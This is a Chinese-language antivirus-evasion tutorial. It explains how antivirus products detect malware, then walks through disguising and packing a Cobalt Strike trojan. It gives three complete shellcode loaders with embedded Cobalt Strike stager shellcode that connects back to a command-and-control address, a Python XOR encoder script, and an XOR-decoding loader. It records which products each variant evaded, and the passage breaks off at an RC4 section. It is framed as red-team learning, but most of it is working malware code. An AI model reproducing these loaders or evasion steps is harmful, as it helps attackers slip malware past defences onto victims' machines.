
1.基本概念全称为反杀毒技术指的是一种能使病毒木马免于被杀毒软件查杀的技术。其核心目标是使恶意代码如木马、病毒能够规避杀毒软件的检测从而在目标系统上成功执行。在红队演练、渗透测试等授权场景下研究免杀技术有助于评估目标系统的安全防护能力。2.杀毒软件杀毒软件是一种用于检测、阻止和清除计算机恶意软件的安全程序是终端安全防护的核心组件。2.1杀毒软件的检测方式杀毒软件查杀病毒一般可以分为三种方式静态查杀、行为查杀动态查杀和云端查杀云查杀三种方式。实际产品往往会综合使用多种查杀机制以提高恶意样本的识别能力。静态查杀静态查杀是在不运行目标文件的情况下对文件本身进行分析。传统方式主要依赖特征码匹配通过提取文件中的特征信息与病毒特征库中的已知特征进行比对从而判断文件是否具有恶意属性。现代杀毒软件还会结合文件结构、字符串、数字签名、哈希以及启发式规则等信息进行分析。行为查杀动态查杀行为查杀主要关注程序运行过程中产生的行为。安全软件会监控进程创建、文件操作、注册表修改、内存操作、网络通信等活动并根据预设规则或行为模型判断程序是否存在恶意行为。与静态检测相比行为检测不完全依赖于固定的病毒特征因此对于经过修改、变形或未知的恶意程序具有更强的检测能力。云端查杀云查杀云查杀通常是将本地客户端收集到的文件特征、哈希、行为信息或其他安全相关数据发送至云端安全分析平台由云端结合威胁情报、样本数据库、机器学习模型和多维度分析结果进行判断再将检测结果返回客户端。云端检测能够利用大规模样本和实时更新的威胁情报因此可以在一定程度上弥补单纯依赖本地病毒库所存在的局限。2.2安全防护产品的分类个人版或社区版360安全卫士 / 360杀毒腾讯电脑管家金山毒霸火绒Microsoft Defender企业版EDREndpoint Detection and Response终端检测与响应重点监控主机上的进程、文件、网络连接、用户行为等并对安全事件进行调查和响应。IDSIntrusion Detection System入侵检测系统主要负责发现网络或主机中的可疑活动并产生告警。IPSIntrusion Prevention System入侵防御系统在检测到攻击行为后可以进一步采取阻断措施。NDR / 流量分析通过网络流量发现异常通信和攻击行为。数据库安全系统对数据库访问、操作行为和异常活动进行监控。态势感知 / 威胁感知平台将不同安全设备产生的日志和告警进行汇聚、关联和分析从整体角度评估企业安全状态。正因为杀毒软件会不断更新病毒库所以说一些之前可以使用的免杀技巧很可能过一段时间就不管用了具有时效性所以免杀这门技巧是需要持续不断地学习和研究的任重而道远。3.免杀技术3.1何为免杀免杀是一门技术含量很高、学习难度大、周期长的技术需要具备C/C、汇编语言、Windows编程、PE文件结构等基础知识然后就是逆向工程为需掌握的核心技术。作为入门级别的免杀我们学习基本的免杀技巧与一些免杀工具的使用重点是学习免杀思路即可。3.2简单免杀技术实验环境两台win10分别装火绒和360工具CS和吾爱破解工具包3.2.1 特征修改通过工具将木马本身的特征图标、版本、光标、界面风格等等进行修改使得某些杀毒软件将其误以为是自己人好比电视剧中的女伴男装让别人看不出自己是女儿身。这里用到资源修改器Restorator先用cs制作一个木马这里使用x86框架生成32位的避免木马与工具不兼容:然后使用资源修改器Restorator将木马和正规软件的exe启动程序都选中拖入。将正规软件的exe程序的图标、版本等衣服直接选中拖到木马身上使其做披着羊皮的狼。最后点击保存伪装就完成了。选中木马点击保存即可这里为了更像直接改名换姓为Firefox.exe。现在万事俱备只欠东风。把木马分别放入win10-360和win10-火绒。发现火绒直接把我的木马杀了而在360没事。那现在在360中运行一下看看是否能上线结果一运行就被检测出来了看来这种小把戏都骗不过这两位。3.2.2加壳这里使用工具加壳即可。这里直接将刚刚木马备份拖到工具中然后点击开始即可。但这里注意要将木马文件后面的备份删除并且保证路径也是纯英文应为工具不识别中文。现在拖入两个win10试试。发现火绒依旧识破360依旧没事。现在运行360中的木马试试能不能上线。看来虽然360不会立马杀掉加壳的木马但运行是会警报。我又试了试其他工具加壳都不行看来加壳也骗不过这两门神。3.2.3shellcode加密Shellcode本质上是一段机器码十六进制字节流它是可执行的二进制指令。先来试试未加密的shellcode生成shellcode使用cs的payload生成器输出文件类型选择.c文件使用x86框架这个buf数组中的就是shellcode只不过是用十六进制表示而已。将buf数组中的shellcode复制到下面准备好的代码的buf数组中即可方式一#include Windows.h #include stdio.h #include string.h #pragma comment(linker,/subsystem:\Windows\ /entry:\mainCRTStartup\) unsigned char buf[] \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x50\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x4a\x37\x69\x72\x00\x12\xe8\x92\x9d\x33\xc3\x7c\x3e\x60\xe9\xa8\x0c\xa4\xfd\x84\x7a\x5a\xbc\x33\xde\x27\xbe\xad\x22\xd8\x56\xd8\xa9\x73\x0f\xa0\x9c\x0c\x43\xfc\xe2\x05\xaa\x62\x73\x4a\xb0\x58\x06\x43\xc3\x44\xfc\x53\x01\xac\x84\x47\xa6\xa6\xf3\x0d\xdd\xa3\x19\x29\x1f\xd0\x84\x2c\x60\x9c\x35\xba\xb7\xfc\xfc\x71\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x3b\x20\x4d\x41\x54\x4d\x4a\x53\x29\x0d\x0a\x00\x24\x16\x5d\xe1\x4c\x6c\xa4\x8d\xe1\xbc\x2a\x7e\xf2\xa9\x4a\x85\xa1\x3f\x54\x79\x20\x3f\x3a\x3f\x42\x3d\xdb\xce\xe1\xeb\xd2\xc4\x05\x5c\x1f\x25\x5b\xef\xca\x74\x25\x71\x90\x09\x36\x06\x4a\x8e\x0f\x5f\x45\x91\xd9\x11\xd5\xcd\x9a\xbd\x84\xd0\x62\xef\x1a\xdc\xb1\x4e\xad\x52\x80\xd7\x5d\x01\x33\xde\x1d\x28\x34\xb8\xe8\x18\x42\x9c\x99\xe7\x7a\xf9\x8b\x76\x14\x14\x4a\xab\x17\xd6\x9c\x90\xf3\x55\x36\xc1\xd0\xf8\x4d\xd0\x25\x3f\x87\x4b\x60\xfb\x07\xe7\x4e\xe7\x4c\x9b\xe6\x7a\xb1\xc2\x49\x63\x6c\x08\x14\x88\x45\xf6\x71\x0f\x44\x2f\xa6\xee\x53\xbb\xc1\xea\xbf\xb1\xa7\x65\x76\xaf\x88\xca\x64\x68\xa3\x3b\xd9\x17\x75\xe6\xc9\x57\xe1\xac\xad\xc9\x09\xad\x98\x57\xae\xfc\xa3\x17\x92\x79\x88\xc9\xaa\x23\xe1\xfc\x5f\xb9\xf5\xb0\xf2\x62\x51\x86\xdf\x45\x44\x10\xa6\x24\x0d\xdb\xe0\x43\x16\x80\xd5\xda\x91\x22\x07\x65\xf1\xeb\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x32\x2e\x31\x32\x39\x00\x3a\xde\x68\xb1; int main() { char* Memory; Memory static_castchar*( VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)(); }方式二#include Windows.h #include stdio.h #include string.h #pragma comment(linker,/subsystem:\Windows\ /entry:\mainCRTStartup\) unsigned char buf[] \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x50\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x4a\x37\x69\x72\x00\x12\xe8\x92\x9d\x33\xc3\x7c\x3e\x60\xe9\xa8\x0c\xa4\xfd\x84\x7a\x5a\xbc\x33\xde\x27\xbe\xad\x22\xd8\x56\xd8\xa9\x73\x0f\xa0\x9c\x0c\x43\xfc\xe2\x05\xaa\x62\x73\x4a\xb0\x58\x06\x43\xc3\x44\xfc\x53\x01\xac\x84\x47\xa6\xa6\xf3\x0d\xdd\xa3\x19\x29\x1f\xd0\x84\x2c\x60\x9c\x35\xba\xb7\xfc\xfc\x71\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x3b\x20\x4d\x41\x54\x4d\x4a\x53\x29\x0d\x0a\x00\x24\x16\x5d\xe1\x4c\x6c\xa4\x8d\xe1\xbc\x2a\x7e\xf2\xa9\x4a\x85\xa1\x3f\x54\x79\x20\x3f\x3a\x3f\x42\x3d\xdb\xce\xe1\xeb\xd2\xc4\x05\x5c\x1f\x25\x5b\xef\xca\x74\x25\x71\x90\x09\x36\x06\x4a\x8e\x0f\x5f\x45\x91\xd9\x11\xd5\xcd\x9a\xbd\x84\xd0\x62\xef\x1a\xdc\xb1\x4e\xad\x52\x80\xd7\x5d\x01\x33\xde\x1d\x28\x34\xb8\xe8\x18\x42\x9c\x99\xe7\x7a\xf9\x8b\x76\x14\x14\x4a\xab\x17\xd6\x9c\x90\xf3\x55\x36\xc1\xd0\xf8\x4d\xd0\x25\x3f\x87\x4b\x60\xfb\x07\xe7\x4e\xe7\x4c\x9b\xe6\x7a\xb1\xc2\x49\x63\x6c\x08\x14\x88\x45\xf6\x71\x0f\x44\x2f\xa6\xee\x53\xbb\xc1\xea\xbf\xb1\xa7\x65\x76\xaf\x88\xca\x64\x68\xa3\x3b\xd9\x17\x75\xe6\xc9\x57\xe1\xac\xad\xc9\x09\xad\x98\x57\xae\xfc\xa3\x17\x92\x79\x88\xc9\xaa\x23\xe1\xfc\x5f\xb9\xf5\xb0\xf2\x62\x51\x86\xdf\x45\x44\x10\xa6\x24\x0d\xdb\xe0\x43\x16\x80\xd5\xda\x91\x22\x07\x65\xf1\xeb\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x32\x2e\x31\x32\x39\x00\x3a\xde\x68\xb1; int main() { DWORD oldProtect; VirtualProtect( buf, sizeof(buf), PAGE_EXECUTE_READWRITE, oldProtect ); __asm { lea eax,buf call eax } }方式三#include Windows.h #include stdio.h #include string.h #pragma comment(linker,/subsystem:\Windows\ /entry:\mainCRTStartup\) unsigned char buf[] \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x50\x00\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x4a\x37\x69\x72\x00\x12\xe8\x92\x9d\x33\xc3\x7c\x3e\x60\xe9\xa8\x0c\xa4\xfd\x84\x7a\x5a\xbc\x33\xde\x27\xbe\xad\x22\xd8\x56\xd8\xa9\x73\x0f\xa0\x9c\x0c\x43\xfc\xe2\x05\xaa\x62\x73\x4a\xb0\x58\x06\x43\xc3\x44\xfc\x53\x01\xac\x84\x47\xa6\xa6\xf3\x0d\xdd\xa3\x19\x29\x1f\xd0\x84\x2c\x60\x9c\x35\xba\xb7\xfc\xfc\x71\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x31\x30\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x32\x3b\x20\x57\x69\x6e\x36\x34\x3b\x20\x78\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x36\x2e\x30\x3b\x20\x4d\x41\x54\x4d\x4a\x53\x29\x0d\x0a\x00\x24\x16\x5d\xe1\x4c\x6c\xa4\x8d\xe1\xbc\x2a\x7e\xf2\xa9\x4a\x85\xa1\x3f\x54\x79\x20\x3f\x3a\x3f\x42\x3d\xdb\xce\xe1\xeb\xd2\xc4\x05\x5c\x1f\x25\x5b\xef\xca\x74\x25\x71\x90\x09\x36\x06\x4a\x8e\x0f\x5f\x45\x91\xd9\x11\xd5\xcd\x9a\xbd\x84\xd0\x62\xef\x1a\xdc\xb1\x4e\xad\x52\x80\xd7\x5d\x01\x33\xde\x1d\x28\x34\xb8\xe8\x18\x42\x9c\x99\xe7\x7a\xf9\x8b\x76\x14\x14\x4a\xab\x17\xd6\x9c\x90\xf3\x55\x36\xc1\xd0\xf8\x4d\xd0\x25\x3f\x87\x4b\x60\xfb\x07\xe7\x4e\xe7\x4c\x9b\xe6\x7a\xb1\xc2\x49\x63\x6c\x08\x14\x88\x45\xf6\x71\x0f\x44\x2f\xa6\xee\x53\xbb\xc1\xea\xbf\xb1\xa7\x65\x76\xaf\x88\xca\x64\x68\xa3\x3b\xd9\x17\x75\xe6\xc9\x57\xe1\xac\xad\xc9\x09\xad\x98\x57\xae\xfc\xa3\x17\x92\x79\x88\xc9\xaa\x23\xe1\xfc\x5f\xb9\xf5\xb0\xf2\x62\x51\x86\xdf\x45\x44\x10\xa6\x24\x0d\xdb\xe0\x43\x16\x80\xd5\xda\x91\x22\x07\x65\xf1\xeb\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x32\x2e\x31\x32\x39\x00\x3a\xde\x68\xb1; int main() { __asm{ mov eax, offset buf _emit 0xFF _emit 0xE0 } }将这三种代码分别生成32位的可执行程序分别放入有360和火绒的win10中测试一下效果火绒是三个都杀掉了360是方式一成功上线现在试试加密后的shellcodexor加密先生成原始二进制文件然后使用脚本进行异或import sys from argparse import ArgumentParser, FileType def process_bin(num, src_fp, dst_fp, dst_raw): shellcode shellcode_size 0 shellcode_raw b try: while True: code src_fp.read(1) if not code: break base10 ord(code) ^ num base10_str chr(base10) shellcode_raw base10_str.encode() code_hex hex(base10) code_hex code_hex.replace(0x,) if(len(code_hex) 1): code_hex 0 code_hex shellcode \\x code_hex shellcode_size 1 src_fp.close() dst_raw.write(shellcode_raw) dst_raw.close() dst_fp.write(shellcode) dst_fp.close() return shellcode_size except Exception as e: sys.stderr.writelines(str(e)) def main(): parser ArgumentParser(progShellcode X, description[XOR The Cobaltstrike PAYLOAD.BINs] \t Author: 471656814qq.com) parser.add_argument(-v,--version,nargs?) parser.add_argument(-s,--src,helpusource bin file,typeFileType(rb), requiredTrue) parser.add_argument(-d,--dst,helpudestination shellcode file,typeFileType(w),requiredTrue) parser.add_argument(-n,--num,helpuConfused number,typeint, default90) parser.add_argument(-r,--raw,helpuoutput bin file, typeFileType(wb), requiredTrue) args parser.parse_args() shellcode_size process_bin(args.num, args.src, args.dst, args.raw) sys.stdout.writelines([]Shellcode Size : {} \n.format(shellcode_size)) if __name__ __main__: main()运行方法:python xor.py -s payload.bin -d payload.c -n 10 -r out.bin将生成的payload.c中异或后的shellcode复制到下面代码的buf数组中#include Windows.h // 入口函数 int wmain(int argc, TCHAR* argv[]) { int shellcode_size 0; // shellcode长度 DWORD dwThreadId; // 线程ID HANDLE hThread; // 线程句柄 /* length: 800 bytes */ unsigned char buf[] \xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x5a\x0a\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x4a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x78\x41\x5d\x42\x0a\x6f\x74\xd6\x5e\xb7\x2f\xf4\xad\xbf\xfd\xa9\x8f\x0a\xc1\xfb\xe1\x79\x8d\x9f\x83\xff\x87\x0a\xe9\xdb\x8a\x8a\x05\xb5\x15\xbb\x44\xca\xcb\x55\x7d\x93\x55\xbe\x81\x9e\x8f\x29\xa9\xb9\x76\xd8\xff\xec\x3e\x71\x79\xcf\x01\x37\xd8\x76\x90\xe5\xe6\x3e\x92\x56\xe2\x17\x4f\xfb\x93\x07\xf4\x14\x27\x5b\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5d\x45\x5d\x3c\x3e\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x47\x4b\x44\x47\x31\x2a\x47\x4b\x44\x47\x23\x07\x00\x0a\x9c\xd9\xb3\x19\xb5\xcd\xd5\x80\x40\xc3\x41\x0a\x01\x9d\x6e\xf8\x56\x52\x3b\x3a\x59\x8b\x1a\x61\x54\x8d\x79\x64\xdc\xcf\x4c\x7e\x7b\xa4\x02\xd5\x7b\xa7\x0e\x27\xd3\xb8\xac\xc1\x15\xdc\xde\x5e\x5c\x7d\xe0\xbc\x52\xfa\x11\x18\x8f\x06\x29\x76\x20\xa8\xe3\x39\x70\xc7\x5b\x35\x1c\xa0\x42\x73\xd1\x48\x9d\xbb\x8b\x17\x91\xb0\x3f\xa5\xc9\x76\x71\xff\x7b\xd0\x02\x1a\xb6\x06\x10\x5c\xd2\x38\xb3\xa8\x00\xa2\x8f\xb4\x81\xc9\x35\xe8\x71\xc0\xe0\xbf\x1d\xd7\x3f\x10\x4a\xf0\xc7\x2c\xd6\x20\x1d\x63\x15\x2a\x86\x67\x96\xcf\xd5\x4a\x67\xd6\x7e\x7e\x9d\xce\x4a\xf9\xbb\x7c\x69\xc7\x1c\x7f\x5f\x08\x46\xa4\xcb\x9c\x0c\x0d\x81\xd4\x64\x7a\xab\xb1\xc1\x88\x5b\xbd\x2f\x3a\x37\xca\x28\xa4\xd3\x11\x8f\xb2\x73\x91\xe0\xc9\xd1\x7c\xbf\xfe\x3f\x5c\xa1\x4f\x15\x5f\x57\x25\x7b\x5f\x6b\x36\xb2\x31\xa0\x35\x38\xf2\xce\xb6\x5d\x17\x63\xb2\x04\xe1\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x38\x38\x24\x3b\x38\x33\x0a\x30\xd4\x62\xbb; // 获取shellcode大小 shellcode_size sizeof(buf); /* 增加异或代码 */ for (int i 0; i shellcode_size; i) { buf[i] ^ 10; } /* VirtualAlloc( NULL, // 基址 800, // 大小 MEM_COMMIT, // 内存页状态 PAGE_EXECUTE_READWRITE // 可读可写可执行 ); */ char* shellcode (char*)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // 将shellcode复制到可执行的内存页中 CopyMemory(shellcode, buf, shellcode_size); hThread CreateThread( NULL, // 安全描述符 NULL, // 栈的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函数 NULL, // 参数 NULL, // 线程标志 dwThreadId // 线程ID ); WaitForSingleObject(hThread, INFINITE); // 一直等待线程执行结束 return 0; }编译成可执行程序分别在两台win10上测试两个都免杀成功了但上不了线hex先用cs的payload生成器生成一个x86的.c木马文件将里面的shellcode复制粘贴到CyberChef这个网站进行hex解密点击保存将下载下来的download.dat放到与LoaderMaker.exe同一目录下最后使用指令进行免杀LoaderMaker.exe download.dat 1.exe测试一下免杀效果:360成功上线并且查杀显示未发现木马但是一段时间后会被杀掉火绒直接就杀掉了rc4先将之前.c文件中的shellcode复制到如下代码中的buf数组中#include stdio.h #include windows.h #include iostream 